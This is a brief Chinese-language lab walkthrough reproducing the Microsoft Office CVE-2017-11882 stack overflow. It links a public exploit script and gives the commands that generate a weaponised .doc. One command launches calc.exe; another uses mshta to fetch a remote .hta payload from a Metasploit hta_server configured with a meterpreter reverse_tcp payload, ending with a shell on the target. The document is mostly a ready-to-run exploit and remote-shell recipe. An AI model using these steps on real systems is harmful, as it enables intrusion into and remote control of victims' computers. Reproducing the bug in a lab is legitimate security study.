CVE-2017-11882复现

威胁类型：栈溢出

影响版本：Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016

EXP

下载：https://github.com/Ridter/CVE-2017-11882.git

生成word文件并启动计算器

python2 Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

复制到靶机运行

EXP生成

hta 是 HTML 应用程序，大多数的 Windows 操作系统都支持 hta 文件执行，利用 mshta.exe 解析 .hta文件执行，这里的 .hta 文件可以是本地的也可以是可访问的远程主机上的

• exploit模块：use exploit/windows/misc/hta_server

• payload模块：set payload windows/meterpreter/reverse_tcp

• 指定web地址：set SRVHOST kali的IP

• 指定web端口：set SRVPORT 指定的端口

• 指定地址：set RHOST kali的IP

• 指定监听端口：set LPORT 监听端口

• 运行：run -j #-j是隐藏连接的意思

执行：

python2 Command43b_CVE-2017-11882.py -c "mshta http://192.168.10.27:801/hJW2IT.hta" -o laela.doc

复制到靶机执行

拿到shell